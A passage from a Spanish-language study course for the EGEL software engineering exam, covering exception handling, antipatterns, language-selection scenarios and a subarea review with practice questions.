▼\n          Error (Grave)                                  Exception (Manejable)\n          • OutOfMemoryError                                     │\n          • StackOverflowError                   ┌───────────────┴───────────────┐\n          • Fallas irrecuperables de la VM       ▼                               ▼\n                                         RuntimeException          Checked Exceptions\n                                         (Unchecked)               (Verificadas en compilación)\n                                         • NullPointerException    • IOException\n                                         • IllegalArgumentExcept.  • SQLException\n                                         • Errores del programador • Fallas del entorno\n```\n\n### Clasificación y Semántica Operativa\n\n| Categoría | Tipo en Tiempo de Compilación | Naturaleza y Causa | ¿Quién debe capturarla? | Ejemplos Representativos |\n| :--- | :--- | :--- | :--- | :--- |\n| **Error (Falla de Infraestructura)** | **No verificada (Unchecked).** No se exige declarar ni capturar en el código. | Condiciones catastróficas del entorno de hardware o de la Máquina Virtual. El estado de la memoria es inestable o irrecuperable. | **Nadie a nivel de aplicación.** La aplicación debe abortar o registrar la telemetría antes de que el proceso sea terminado por el SO. | `OutOfMemoryError`, `StackOverflowError`, `VirtualMachineError`. |\n| **Checked Exception (Excepción Verificada)** | **Verificada obligatoriamente.** El compilador exige capturarla (`try-catch`) o declararla en la firma (`throws`). | Fallas razonablemente previsibles y potencialmente recuperables derivadas de factores externos fuera del control estricto del código (red, disco, base de datos). | El llamador directo o una capa superior con capacidad para reintentar, conmutar a un respaldo o avisar al usuario. | `IOException`, `SQLException`, `ClassNotFoundException`. |\n| **Unchecked Exception (RuntimeException)** | **No verificada.** El compilador no exige forzar un bloque `try-catch`. | Defectos lógicos de programación o violaciones de precondiciones de contrato de la API. Representan \"bugs\" que el desarrollador debió prevenir mediante validaciones previas. | Manejador global de excepciones (*Global Exception Handler*) para registrar el bug y devolver un error `500` limpio al cliente. | `NullPointerException`, `IndexOutOfBoundsException`, `IllegalArgumentException`, `ArithmeticException`. |\n\n---\n\n## 2. El Costo Computacional de las Excepciones: Stack Unwinding\n\nLanzar una excepción (`throw new Exception(...)`) no es una operación barata equivalente a un simple `return` o `if-else`. Conlleva una sobrecarga computacional masiva:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        EL COSTO DE UNA EXCEPCIÓN                       │\n│                                                                        │\n│   1. Instanciación:                                                    │\n│      La Máquina Virtual suspende la ejecución y captura la traza       │\n│      completa de la pila (Stack Trace: clases, métodos, líneas).       │\n│                                                                        │\n│   2. Desenrollado de Pila (Stack Unwinding):                           │\n│      La CPU retrocede marco por marco en la pila de llamadas           │\n│      buscando un bloque 'catch' coincidente, ejecutando bloques        │\n│      'finally' intermedios y limpiando variables locales.              │\n│                                                                        │\n│   Regla de Oro: ¡NUNCA USES EXCEPCIONES PARA CONTROL DE FLUJO REGULAR!│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Antipatrón de Control de Flujo:** Usar una excepción para detectar el final de un bucle o comprobar si un registro existe:\n  ```java\n  // ANTIPATRÓN GRAVE: Hasta 100 veces más lento que una validación condicional\n  try {\n      int saldo = buscarEnBD(id);\n  } catch (RegistroNoEncontradoException e) {\n      saldo = 0; // Usar excepción para lógica ordinaria\n  }\n  ```\n- **Solución Correcta:** Utilizar métodos condicionales que retornen valores booleanos, tipos `Optional\u003cT\u003e` o valores centinela que no obliguen a construir costosas trazas de pila.\n\n---\n\n## 3. Catálogo de Antipatrones en el Manejo de Excepciones\n\nEn el EGEL se presentan fragmentos de código para identificar malas prácticas que comprometen la confiabilidad del software:\n\n| Antipatrón | Fragmento de Código Defectuoso | Problema Técnico Ocurrido | Solución de Ingeniería |\n| :--- | :--- | :--- | :--- |\n| **Tragar la Excepción (*Swallowing Exceptions*)** | ```java catch (Exception e) { } ``` | **El peor antipatrón de la industria.** El error desaparece en silencio. El sistema entra en un estado corrupto y nadie sabe por qué falló. | Al menos registrar el error en el sistema de logging con su traza (`logger.error(\"Fallo crítico\", e);`) o relanzarla. |\n| **Captura Masiva Indiscriminada** | ```java catch (Throwable t) { ... } ``` | Captura tanto excepciones de negocio como fallas fatales del sistema (`OutOfMemoryError`). Evita que la JVM aborte procesos inviables. | Capturar únicamente las excepciones específicas que el bloque actual sabe cómo resolver de forma segura. |\n| **Captura, Log y Relanzamiento (*Catch-and-Rethrow*)** | ```java catch (SQLException e) { logger.error(e); throw e; } ``` | Cada capa de la arquitectura vuelve a capturar, loguear y relanzar el mismo error. Llena los logs de servidores con reportes duplicados confusos. | Regla de oro: **O manejas la excepción o la propagas, pero no ambas.** Loguear una sola vez en el límite arquitectónico superior. |\n| **Pérdida de la Causa Raíz (*Root Cause Loss*)** | ```java catch (SQLException e) { throw new ServiceException(\"Error\"); } ``` | Al crear la nueva excepción no se pasa el objeto `e` original. Los administradores pierden la causa raíz real (código de error de base de datos). | Utilizar **encadenamiento de excepciones**: `throw new ServiceException(\"Error\", e);` para preservar la causa. |\n\n---\n\n## 4. Gestión Determinista de Recursos: `try-with-resources`\n\nUno de los orígenes más frecuentes de fugas de recursos en servidores (agotamiento de descriptores de archivos, saturación de sockets de red y agotamiento de conexiones de base de datos) es no cerrar las conexiones en presencia de fallas:\n\n```java\n// ANTIPATRÓN HISTÓRICO (Frágil y verboso):\nConnection conn = null;\ntry {\n    conn = dataSource.getConnection();\n    // si ocurre una excepción aquí...\n} finally {\n    if (conn != null) {\n        try { conn.close(); } catch (SQLException ignored) {} // Pesadilla de anidación\n    }\n}\n\n// PATRÓN MODERNO: try-with-resources (AutoCloseable / IDisposable)\ntry (Connection conn = dataSource.getConnection();\n     PreparedStatement ps = conn.prepareStatement(sql)) {\n    // Uso del recurso\n} // 'conn' y 'ps' se CIERRAN GARANTIZADAMENTE de forma automática,\n  // ocurra o no una excepción, con sintaxis limpia y robusta.\n```\n\n---\n\n## 5. Paradigmas Modernos: Tipos `Result\u003cT, E\u003e` y `Optional\u003cT\u003e`\n\nLos lenguajes de programación modernos (como Rust, Swift, Kotlin, Go y TypeScript) consideran que las excepciones tradicionales introducen efectos secundarios no transparentes en las funciones. La tendencia arquitectónica dominante traslada los errores al **sistema de tipos**:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        TIPO RESULT\u003cT, E\u003e                               │\n│                                                                        │\n│   Una función no \"lanza\" un error invisible; RETORNA un tipo unión:    │\n│                                                                        │\n│                 ┌─────────────── Result\u003cT, E\u003e ──────────────┐          │\n│                 │                                           │          │\n│                 ▼                                           ▼          │\n│            Ok(Valor T)                                 Err(Error E)    │\n│      (Operación exitosa)                         (Causa de la falla)   │\n│                                                                        │\n│   • El compilador OBLIGA al llamador a manejar ambos casos.           │\n│   • Cero costo de Stack Unwinding.                                     │\n│   • La firma de la función documenta explícitamente qué puede fallar.  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Comparativa: Excepciones Clásicas vs Tipo `Result\u003cT, E\u003e`\n\n| Criterio | Excepciones Clásicas (`try-catch`) | Tipo Monádico `Result\u003cT, E\u003e` (Estilo Rust/Swift) |\n| :--- | :--- | :--- |\n| **Visibilidad en el contrato** | Invisible en la firma de la función (en lenguajes sin checked exceptions como C#, Python o JS). Requiere leer la documentación para saber qué puede fallar. | **Explícito e inviolable en el contrato:** `fn buscar_usuario(id: u64) -\u003e Result\u003cUsuario, ErrorBD\u003e`. |\n| **Costo computacional** | Alto si se disparan con frecuencia (captura de stack trace y salto no local de pila). | **Cero sobrecarga:** Se comporta como un valor compuesto retornado por valor en memoria regular. |\n| **Obligatoriedad de manejo** | El desarrollador puede olvidar fácilmente rodear la llamada con `try-catch`, provocando caídas inesperadas en producción. | El compilador produce un error si el desarrollador no desempaqueta exhaustivamente el caso `Ok` y el caso `Err` (*Pattern Matching*). |\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Pasarela de Procesamiento Batch de Facturas Electrónicas\n- **Problema:** Un proceso batch procesa 500,000 facturas cada noche. Para verificar si un cliente tiene adeudos, el código invoca un método que lanza una excepción personalizada `ClienteMorosoException` cada vez que encuentra una factura impaga. El proceso tarda 4 horas y consume el 100% de CPU.\n- **Diagnóstico y Decisión:**\n  - El 15% de los clientes presentan adeudos (75,000 excepciones lanzadas por noche). La creación de 75,000 stack traces colapsa la CPU por desenrollado de pila.\n  - *Solución:* Refactorizar el método para que devuelva un objeto estructurado `EstadoCuenta` o un booleano `tieneAdeudo()`. Las excepciones se reservan exclusivamente para fallas reales e inesperadas (caída de la base de datos o corte de red). El tiempo de ejecución del batch se reduce de 4 horas a 14 minutos.\n\n### Escenario B: Conexión de Red a un Dispositivo IoT Médico con Batería Limitada\n- **Problema:** Un marcapasos con conexión Bluetooth experimenta cortes de señal frecuentes. Si el firmware lanza y desenrolla excepciones internas en cada corte de señal, el procesamiento agota la batería del paciente en semanas.\n- **Diagnóstico y Decisión:**\n  - Adoptar el paradigma de **códigos de retorno o tipos `Result`** en C/C++ o Rust. Los fallos de enlace de red se tratan como estados normales y esperados del dominio de comunicación inalámbrica, procesándose con validaciones condicionales sin sobrecarga de ciclos de reloj de la CPU.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Capturar `Throwable` o `Error` en bloques ordinarios de aplicación.**\n\u003e Un bloque `catch (Throwable t)` capturará un `OutOfMemoryError`. Intentar continuar la ejecución normal del software tras una falta crítica de memoria de la máquina virtual garantiza la corrupción de datos y bloqueos impredecibles. Los errores del sistema deben dejar que el proceso termine ordenadamente.\n\n\u003e **Trampa 2: Afirmar que el bloque `finally` se ejecuta \"absolutamente siempre\".**\n\u003e El bloque `finally` se ejecuta tras `try` y `catch`, con una única excepción extrema: si el hilo es abruptamente abortado por el sistema operativo, o si el código invoca `System.exit(0)` explícitamente dentro del bloque `try` o `catch`.\n\n\u003e **Trampa 3: Confundir una Checked Exception con un Error de Compilación.**\n\u003e Una *Checked Exception* es una excepción que ocurre **en tiempo de ejecución**, pero cuya captura o propagación es verificada por el compilador. No ocurre durante la compilación; lo que ocurre en compilación es la verificación de que el programador escribió el bloque `try-catch` o la cláusula `throws`.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nAl auditar una aplicación web financiera desarrollada en Java, se localiza el siguiente bloque de código en el módulo de transferencias:\n```java\ntry {\n    cuentaService.debitar(cuentaOrigen, monto);\n    cuentaService.acreditar(cuentaDestino, monto);\n} catch (Exception e) {\n    // TODO: Manejar después\n}\n```\n¿Cuál es la consecuencia arquitectónica más grave y el antipatrón específico presente en esta implementación?\n- A) El código es seguro porque la palabra reservada `Exception` evita que el servidor colapse; es una práctica recomendada de alta disponibilidad.\n- B) Presenta el antipatrón de \"Tragar la Excepción\" (*Swallowing Exceptions*); si el débito es exitoso pero la acreditación falla por caída de red, el error se oculta en silencio, el dinero desaparece de la cuenta origen y el sistema entra en una inconsistencia financiera indetectable.\n- C) Ocurre un desbordamiento de pila (*Stack Overflow*) inmediato debido a la ausencia de la sentencia `finally`.\n- D) El compilador rechazará este código con un error sintáctico porque está prohibido capturar `Exception` genérico.\n\n### Pregunta 2\nEn el diseño de una biblioteca moderna de alto rendimiento para procesamiento de transacciones financieras, el arquitecto de software decide sustituir el lanzamiento de excepciones para casos de negocio esperados (como \"Saldo insuficiente\" o \"Cuenta inactiva\") por el retorno de un tipo de dato `Result\u003cTransaccionExitosa, ErrorTransaccion\u003e`. ¿Qué beneficios técnicos sustenta esta decisión frente al uso tradicional de excepciones?\n- A) Elimina la necesidad de validar los tipos de datos en tiempo de compilación y permite omitir el manejo de errores.\n- B) Evita el costoso impacto de rendimiento del desenrollado de pila (*Stack Unwinding*) y la captura de trazas de ejecución en la CPU, haciendo explícito y forzoso el manejo de ambos resultados en el contrato de la función.\n- C) Permite que el recolector de basura desactive automáticamente la Generación Joven.\n- D) Hace que la función sea automáticamente transaccional bajo el nivel de aislamiento Serializable.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.1.7 de esta subárea).*\n","title":"3.1.4 Manejo robusto de errores, jerarquía de excepciones y patrones de resiliencia"},{"children":[],"contentMd":"# Escenarios Profesionales de Decisión en Selección de Lenguajes de Desarrollo\n\nEn la práctica profesional y en las preguntas de toma de decisiones del EGEL de CENEVAL, un ingeniero de software nunca selecciona un lenguaje de programación por \"preferencia personal\" o \"tendencia del mercado\", sino mediante un **análisis multidimensional de atributos de calidad** (latencia, throughput, seguridad de memoria, concurrencia, huella de recursos) contrastado con las restricciones del entorno de despliegue y del negocio.\n\nEsta lección analiza cuatro macro-escenarios profesionales donde la elección del lenguaje y su modelo de ejecución definen la viabilidad del proyecto.\n\n---\n\n## 1. Criterios de Ingeniería para la Selección de Lenguajes\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│               CRITERIOS MULTIDIMENSIONALES DE SELECCIÓN                │\n│                                                                        │\n│   1. Perfil de Carga:        CPU-bound (cálculo) vs I/O-bound (red/BD) │\n│   2. Determinismo Temporal:  Tiempo Real Duro (Hard Real-Time, sin GC) │\n│                              vs Tiempo Real Blando (Soft Real-Time)    │\n│   3. Seguridad de Memoria:   Seguridad en compilación (Rust/Go/Java)   │\n│                              vs Control manual crudo (C/C++)           │\n│   4. Escalabilidad Concurrente: Hilos OS vs Corrutinas vs Event Loop  │\n│   5. Ecosistema y Mantenibilidad: Disponibilidad de librerías, tipado  │\n│                              estático para proyectos de gran escala    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 2. Escenario 1: Sistema Embebido Automotriz de Control de Tracción (ESP)\n\n### Contexto y Restricciones\n- **Dominio:** Unidad de Control Electrónico (ECU) automotriz encargada del control de tracción y estabilidad antibloqueo en curvas a alta velocidad.\n- **Restricciones críticas:**\n  - Tiempo de respuesta determinista estricto: la decisión de frenar una rueda debe ejecutarse en menos de **5 milisegundos**.\n  - Hardware: Microcontrolador de grado automotriz de 32 bits con **512 KB de memoria RAM**.\n  - Certificación obligatoria de seguridad funcional bajo la norma **ISO 26262 (ASIL D)**. Cero tolerancia a excepciones no controladas o reinicios repentinos.\n\n### Análisis de Alternativas\n1. *Python / Ruby (Interpretado, dinámico):* Inviable. La velocidad de interpretación es 20 a 50 veces más lenta de lo requerido; su huella de memoria supera los 30 MB sólo para cargar el runtime y no posee verificación estática de tipos.\n2. *Java / C# (Máquina Virtual con Garbage Collector):* Inviable. El recolector de basura introduce pausas aleatorias (*Stop-The-World*) que pueden durar decenas de milisegundos, violando el límite determinista de 5 ms y provocando accidentes de tráfico. Además, la JVM no cabe en 512 KB de RAM.\n3. *C / C++ (Compilación nativa AOT, bajo estándar MISRA C):* **Alternativa tradicional y viable.** Código máquina puro, control manual absoluto de memoria y latencia determinista en microsegundos. Requiere validación exhaustiva contra desbordamientos de búfer.\n4. *Rust (Compilación nativa AOT, sistema de propiedad y préstamos / Borrow Checker):* **Alternativa moderna de máxima seguridad.** Ofrece la misma velocidad y ausencia de Garbage Collector que C/C++, pero con garantías matemáticas en tiempo de compilación contra punteros colgantes, carreras de datos y desbordamientos de memoria.\n\n- **Decisión Técnica:** **C (bajo norma MISRA C) o Rust**. Compilación nativa directa a código máquina sin intermediarios de runtime ni recolector de basura.\n\n---\n\n## 3. Escenario 2: Gateway de Mensajería Push para 500,000 Clientes Concurrentes\n\n### Contexto y Restricciones\n- **Dominio:** Plataforma financiera que notifica transacciones en tiempo real a teléfonos móviles mediante conexiones continuas WebSocket / gRPC.\n- **Perfil de carga:** **I/O-bound extremo.** Cada conexión consume muy poco procesamiento de CPU, pero el servidor debe mantener abiertas 500,000 conexiones simultáneas en espera pasiva de eventos.\n- **Restricción de costos:** Desplegar en la nube (AWS/Azure) con el menor número posible de instancias de cómputo para reducir costos operativos.\n\n### Análisis de Alternativas\n1. *Arquitectura basada en Hilos Nativos OS (Java tradicional / C++ con pthreads):* Si se crea un hilo del sistema operativo por cada conexión, $500,000 \\times 1\\text{ MB} = 500\\text{ GB}$ de RAM únicamente para mantener las pilas de ejecución (*stack*), saturando el sistema operativo con cambios de contexto masivos.\n2. *Python / Ruby tradicional (Monohilo con bloqueo global de intérprete / GIL):* No escalan horizontalmente con eficiencia en un solo proceso y su concurrencia asíncrona exige librerías adicionales que consumen significativamente más memoria por socket.\n3. *Go (Goroutines) o Java 21 (Virtual Threads) o Node.js (Event Loop no bloqueante):*\n   - Cada goroutine o hilo virtual pesa solo de 2 a 4 KB de memoria y el cambio de contexto ocurre en espacio de usuario.\n   - 500,000 conexiones consumen apenas 1 a 2 GB de memoria RAM.\n   - La E/S es no bloqueante a nivel del kernel mediante multiplexación de sockets (`epoll`).\n\n- **Decisión Técnica:** **Go o Java con Hilos Virtuales (Project Loom)**. Combina tipado estático, velocidad nativa o compilada a bytecode eficiente y la capacidad de orquestar cientos de miles de flujos de E/S concurrentes en una sola máquina virtual modesta.\n\n---\n\n## 4. Escenario 3: Motor de Análisis de Big Data y Entrenamiento de Modelos de Redes Neuronales\n\n### Contexto y Restricciones\n- **Dominio:** Laboratorio de investigación bioinformática que procesa secuenciación genómica y entrena modelos de *Deep Learning* sobre arreglos multidimensionales gigantescos.\n- **Perfil de carga:** **CPU y GPU-bound masivo.** Se realizan miles de millones de multiplicaciones matriciales por segundo.\n- **Restricción de equipo:** Los científicos de datos e investigadores no son ingenieros de software de bajo nivel; requieren iterar hipótesis rápidamente, visualizar gráficos y transformar datos con facilidad.\n\n### Análisis de Alternativas\n1. *C++ puro:* Máximo rendimiento para cálculo matemático, pero el ciclo de experimentación y prototipado es sumamente lento y la barrera de entrada para los biólogos e investigadores es inasumible.\n2. *Python puro:* Excelente ergonomía sintáctica, pero el intérprete es órdenes de magnitud demasiado lento para procesar matrices de billones de números.\n3. *Arquitectura Híbrida (Python como orquestador + Kernels nativos en C++/CUDA):*\n   - Se utiliza **Python** por su sintaxis concisa y rica comunidad científica (NumPy, PyTorch, Pandas).\n   - Sin embargo, las operaciones computacionales críticas no las ejecuta el intérprete de Python, sino que se delegan a bibliotecas precompiladas de alto rendimiento escritas en **C, C++ y CUDA** que se ejecutan directamente en los núcleos de hardware de las GPUs o aceleradores tensoriales.\n\n- **Decisión Técnica:** **Python con enlaces (*bindings*) a bibliotecas nativas C++/CUDA**. Resuelve la dicotomía productividad humana vs rendimiento de hardware extremo.\n\n---\n\n## 5. Escenario 4: Sistema Bancario Transaccional Core (Core Banking)\n\n### Contexto y Restricciones\n- **Dominio:** Sistema contable central de un banco nacional que procesa millones de transferencias interbancarias, cálculo de intereses y balances contables.\n- **Restricciones críticas:**\n  - Código fuente mantenido por más de 150 desarrolladores durante los próximos 15 a 20 años.\n  - Cero tolerancia a errores de tipos en tiempo de ejecución (ej. que una función reciba accidentalmente una cadena en lugar de un valor monetario y falle a medianoche).\n  - Amplio soporte para transacciones distribuidas ACID, monitoreo de telemetría empresarial y herramientas de análisis estático de código.\n\n### Análisis de Alternativas\n1. *JavaScript (Node.js) / PHP:* Su tipado dinámico y débil incrementa exponencialmente el riesgo de que errores de tipo pasen desapercibidos a producción si el equipo es grande. El refactorizar 500,000 líneas de código sin un compilador estricto es peligroso y costoso.\n2. *C / C++:* Aunque veloces, la complejidad del manejo manual de punteros y la ausencia de frameworks empresariales consolidados de persistencia ORM elevan el tiempo y costo de desarrollo innecesariamente para un sistema corporativo.\n3. *Java / C# (.NET Core):*\n   - Lenguajes con **tipado estático fuerte**, orientación a objetos madura y compilación intermedia a Bytecode sobre máquinas virtuales consolidadas (JVM / CLR).\n   - El compilador valida contratos de interfaces y tipos antes de desplegar.\n   - Ecosistemas empresariales estándar de la industria (Spring Framework, Hibernate, .NET Entity Framework, JPA) con soporte nativo de pooling de conexiones, seguridad bancaria y métricas de producción.\n\n- **Decisión Técnica:** **Java o C# (.NET)**. Máximo balance entre seguridad semántica estática en tiempo de compilación, productividad empresarial, testeabilidad y longevidad de mantenimiento.\n\n---\n\n## 6. Cuadro Comparativo Multidimensional de Decisión\n\n| Dimensión Técnica | C / C++ | Rust | Java / C# | Go | Python | JavaScript / Node |\n| :--- | :--- | :--- | :--- | :--- | :--- | :--- |\n| **Sistema de Tipos** | Estático Débil/Medio | Estático Fuerte | Estático Fuerte | Estático Fuerte | Dinámico Fuerte | Dinámico Débil |\n| **Gestión de Memoria** | Manual (`malloc`/`free`) | Automática estática (Borrow Checker) | Automática (Garbage Collector) | Automática (Garbage Collector) | Automática (GC / Ref Count) | Automática (Garbage Collector) |\n| **Determinismo Temporal** | Total (Microsegundos) | Total (Microsegundos) | Variable (Pausas de GC) | Bueno (GC optimizado \u003c 1ms) | Lento | Lento/Variable |\n| **Modelo Concurrente** | Hilos OS (Pesados) | Hilos OS / Async | Hilos OS + Hilos Virtuales | Goroutines (CSP ultra ligero) | Hilos OS (con traba GIL) | Event Loop monohilo |\n| **Nicho Predominante EGEL** | Sistemas embebidos, drivers, videojuegos | Seguridad de sistemas, kernels, alto rendimiento | Aplicaciones empresariales, finanzas, backend transaccional | Microservicios distribuidos, APIs concurrentes, DevOps | Ciencia de datos, IA, scripting, prototipado | Aplicaciones web completas, interfaces frontend |\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Seleccionar C/C++ para desarrollo de sistemas web empresariales ordinarios.**\n\u003e Salvo que el reactivo especifique una latencia estricta en microsegundos o integración directa con hardware, elegir C/C++ para un sistema contable o de comercio electrónico es una mala decisión de ingeniería debido a los altos costos de desarrollo, riesgo de fugas de memoria y escasez de frameworks web de alto nivel comparado con Java, C# o TypeScript.\n\n\u003e **Trampa 2: Descartar Python para IA asumiendo que \"es muy lento\".**\n\u003e Aunque el intérprete de Python es lento, en los reactivos de CENEVAL orientados a aprendizaje automático y ciencia de datos, Python es la opción canónica recomendada porque su ecosistema (TensorFlow, PyTorch, NumPy) delega el cómputo numérico pesado a bibliotecas altamente optimizadas en C++ y GPU.\n\n\u003e **Trampa 3: Creer que Rust tiene un Garbage Collector porque gestiona la memoria automáticamente.**\n\u003e Rust **no tiene Garbage Collector ni runtime de recolección de basura**. Su gestión de memoria se basa en el principio de propiedad (*Ownership*) y el *Borrow Checker*, que inserta las instrucciones de liberación de memoria de forma completamente estática y determinista durante la compilación.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nUna institución bancaria requiere modernizar su plataforma central de liquidaciones financieras. El nuevo sistema constará de más de 80 módulos de negocio desarrollados simultáneamente por equipos distribuidos de 60 ingenieros. El requerimiento de calidad prioritario es la **mantenibilidad a largo plazo y la prevención de errores de tipos antes de la puesta en producción**, contando con soporte empresarial maduro para transacciones ACID y mapeo objeto-relacional. ¿Cuál es el stack de lenguaje y modelo de ejecución más apropiado?\n- A) Python interpretado, aprovechando la rapidez de escritura y tipado dinámico para que los programadores no pierdan tiempo declarando tipos.\n- B) Lenguaje con tipado estático fuerte y ejecución sobre Máquina Virtual empresarial madura (como Java o C#), respaldado por compiladores que refuercen contratos e interfaces rigurosas.\n- C) Ensamblador y C puro sin librerías externas para garantizar la máxima velocidad de procesamiento en cada microsegundo.\n- D) Shell Script y AWK para automatizar transferencias de archivos por lotes sin necesidad de compilar binarios.\n\n### Pregunta 2\nUn fabricante de drones autónomos de rescate necesita programar el sistema de navegación inercial que calcula la estabilización de los rotores ante ráfagas de viento. El procesador integrado tiene limitaciones severas de batería y memoria RAM, y el sistema de control exige una frecuencia de actualización de 500 Hz (una respuesta cada 2 milisegundos sin variabilidad temporal). ¿Qué lenguaje de programación y modelo de gestión de memoria cumple rigurosamente con estos atributos de calidad?\n- A) JavaScript ejecutado en un entorno Node.js monohilo con bucle de eventos.\n- B) Lenguaje de compilación nativa a código máquina con gestión de memoria determinista sin recolector de basura (como C o Rust).\n- C) Java ejecutado en una Máquina Virtual estándar con recolector de basura paralelo.\n- D) PHP interpretado en un servidor web Apache embebido en el dron.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.1.7 de esta subárea).*\n","title":"3.1.5 Escenarios profesionales de decisión en selección de lenguajes de desarrollo"},{"children":[],"contentMd":"# Repaso Integral y Síntesis de la Subárea 3.1: Lenguajes de Desarrollo\n\nLa Subárea 3.1 aporta **20 reactivos** al examen EGEL de Ingeniería de Software. Estos reactivos evalúan los fundamentos teóricos y prácticos de los lenguajes de programación: desde cómo se representan y verifican los tipos y las instrucciones, hasta cómo se asigna y libera la memoria física, cómo se coordinan los hilos de ejecución concurrentes y cómo se mitigan las condiciones de falla del software.\n\n---\n\n## 1. Mapa Conceptual de Alta Frecuencia EGEL\n\n```\n                     LENGUAJES DE DESARROLLO (20 Reactivos)\n                                        │\n     ┌──────────────────┬───────────────┴───────────────┬──────────────────┐\n     ▼                  ▼                               ▼                  ▼\nSistemas de Tipos   Gestión de Memoria            Concurrencia e Hilos  Manejo de Errores\n• Sintaxis/Semántica• Stack vs Heap               • Concurrencia vs Par.• Checked vs Unchecked\n• Estático/Dinámico • Punteros vs Referencias     • Hilos OS vs Corrut. • Stack Unwinding\n• Fuerte/Débil      • Garbage Collection          • Mutex vs Semáforo   • Antipatrones\n• Compilado/VM/JIT  • Generacional (Eden/Survivor)• Deadlocks (Coffman) • Result\u003cT, E\u003e\n```\n\n---\n\n## 2. Tablas Maestras de Decisión Rápida\n\n### A. Sistemas de Tipos y Modelos de Ejecución\n\n| Dimensión | Enfoque y Momento de Chequeo | Características Clave | Lenguajes Representativos |\n| :--- | :--- | :--- | :--- |\n| **Tipado Estático Fuerte** | En tiempo de compilación; conversiones implícitas prohibidas. | Máxima seguridad semántica; autocompletado y refactorización confiable. | Java, Rust, C#, Kotlin, Swift |\n| **Tipado Estático Débil** | En tiempo de compilación; permite reinterpretación cruda de punteros y coercion. | Máximo control de bajo nivel; riesgo de corrupción de memoria si no se audita. | C, C++ |\n| **Tipado Dinámico Fuerte** | En tiempo de ejecución; conversiones implícitas estrictamente restringidas. | Desarrollo ágil; lanza excepciones de tipo si se mezclan tipos incompatibles. | Python, Ruby |\n| **Tipado Dinámico Débil** | En tiempo de ejecución; conversiones implícitas silenciosas frecuentes. | Muy permisivo; comportamientos contraintuitivos en operaciones mixtas (`\"5\" + 2`). | JavaScript, PHP histórico |\n| **Compilación Nativa (AOT)** | Compilación directa a binario de máquina. | Latencia determinista; arranque instantáneo; sin VM ni pausas impredecibles. | C, C++, Rust, Go |\n| **Bytecode + VM (JIT)** | Compilación intermedia + ejecución en Máquina Virtual. | Portabilidad multiplataforma; recolección de basura; optimizaciones adaptativas. | Java (JVM), C# (.NET CLR) |\n\n### B. Gestión de Memoria: Stack vs Heap y Garbage Collection\n\n- **Stack (Pila):** Variables locales primitivas y referencias; asignación/liberación automática ultrarrápida (LIFO); memoria limitada fija por hilo; falla con `StackOverflowError`.\n- **Heap (Montículo):** Objetos dinámicos e instancias (`new`); ciclo de vida independiente del ámbito de función; requiere liberación manual o Garbage Collector; falla con `OutOfMemoryError`.\n- **Reference Counting:** Libera de inmediato cuando el contador llega a cero, pero **no puede resolver ciclos de referencias circulares** aislados.\n- **Mark-and-Sweep:** Resuelve ciclos circulares mediante alcanzabilidad desde raíces de GC (*GC Roots*), pero produce fragmentación de memoria y pausas *Stop-The-World*.\n- **Generacional (JVM/CLR):** Se apoya en la *Hipótesis Débil de las Generaciones* (la mayoría de los objetos mueren jóvenes). **Eden y Survivor (Young Gen)** limpian rápidamente la memoria de corta vida mediante *Minor GC*; la memoria longeva promovida a **Tenured (Old Gen)** se recolecta mediante *Major/Full GC*.\n\n### C. Concurrencia y las 4 Condiciones de Deadlock (Coffman)\n\n| Condición de Coffman | Núcleo del Problema | Estrategia de Prevención Estándar |\n| :--- | :--- | :--- |\n| **1. Exclusión Mutua** | Un recurso no puede ser compartido simultáneamente. | Usar datos inmutables o lectura concurrente (*Read-Write Locks*). |\n| **2. Retención y Espera** | Un hilo retiene recursos mientras espera otros adicionales. | Solicitar todos los recursos de manera atómica al inicio. |\n| **3. No Apropiación** | Los recursos retenidos no pueden ser arrebatados forzosamente. | Quitar recursos (*preempt*) si el hilo no puede obtener los restantes. |\n| **4. Espera Circular** | Cadena cerrada de hilos donde cada uno espera al siguiente. | **Ordenamiento Global Estricto:** Adquirir todos los cerrojos en orden numérico creciente unificado en toda la aplicación. |\n\n### D. Jerarquía de Excepciones y Resiliencia\n\n- **`Error`:** Fallas catastróficas de la infraestructura de la VM (`OutOfMemoryError`). **No deben ser capturadas** por el código de la aplicación.\n- **`RuntimeException` (Unchecked):** Errores del programador (`NullPointerException`, `IndexOutOfBoundsException`). Se previenen mediante validaciones previas, no con `try-catch`.\n- **`Checked Exception`:** Fallas externas previsibles (`IOException`, `SQLException`). El compilador obliga a manejarlas o propagarlas explícitamente.\n- **`Stack Unwinding`:** Costo computacional masivo al capturar la traza de la pila. **Nunca utilizar excepciones para control de flujo de bucles o bifurcaciones normales.**\n- **`try-with-resources`:** Cierra de forma determinista y segura conexiones, sockets y archivos (`AutoCloseable`), aun si ocurren excepciones.\n\n---\n\n## 3. Checklist de Preparación Pre-Examen Subárea 3.1\n\nAntes de avanzar a la Subárea 3.2, comprueba que dominas con certeza:\n- [ ] Reconocer que la inferencia de tipos (`var x = 10;`) sigue siendo **tipado estático**.\n- [ ] Distinguir el origen de un `StackOverflowError` (recursión infinita o pila saturada) frente a un `OutOfMemoryError` (montículo agotado).\n- [ ] Saber por qué los hilos virtuales o corrutinas pueden existir por cientos de miles (pesan kilobytes) mientras los hilos OS colapsan con pocos miles (pesan megabytes).\n- [ ] Identificar un **antipatrón de tragar excepciones** (`catch (Exception e) {}`) y explicar por qué provoca fallos silenciosos graves.\n- [ ] Justificar la elección de C/Rust para sistemas de tiempo real duro frente a Java/Go (ausencia de pausas por recolección de basura).\n- [ ] Romper una espera circular de Deadlock ordenando los cerrojos por su ID.\n\n---\n\n## 4. Mini-Simulador de Diagnóstico Rápido\n\n### Reactivo Muestra 1\nAl analizar una función en C++, se observa que un programador reserva un arreglo de 1,000,000 de enteros utilizando memoria dinámica en el Heap (`int* arr = new 